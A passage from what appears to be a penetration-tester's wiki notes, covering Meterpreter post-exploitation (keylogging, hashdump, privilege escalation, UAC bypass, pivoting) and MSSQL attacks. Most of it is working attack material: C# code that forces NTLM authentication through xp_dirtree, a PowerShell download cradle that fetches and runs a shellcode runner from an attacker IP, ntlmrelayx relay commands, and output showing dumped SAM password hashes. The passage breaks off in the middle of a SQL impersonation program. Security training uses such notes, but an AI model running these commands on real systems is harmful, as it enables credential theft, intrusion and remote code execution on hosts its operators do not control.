┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
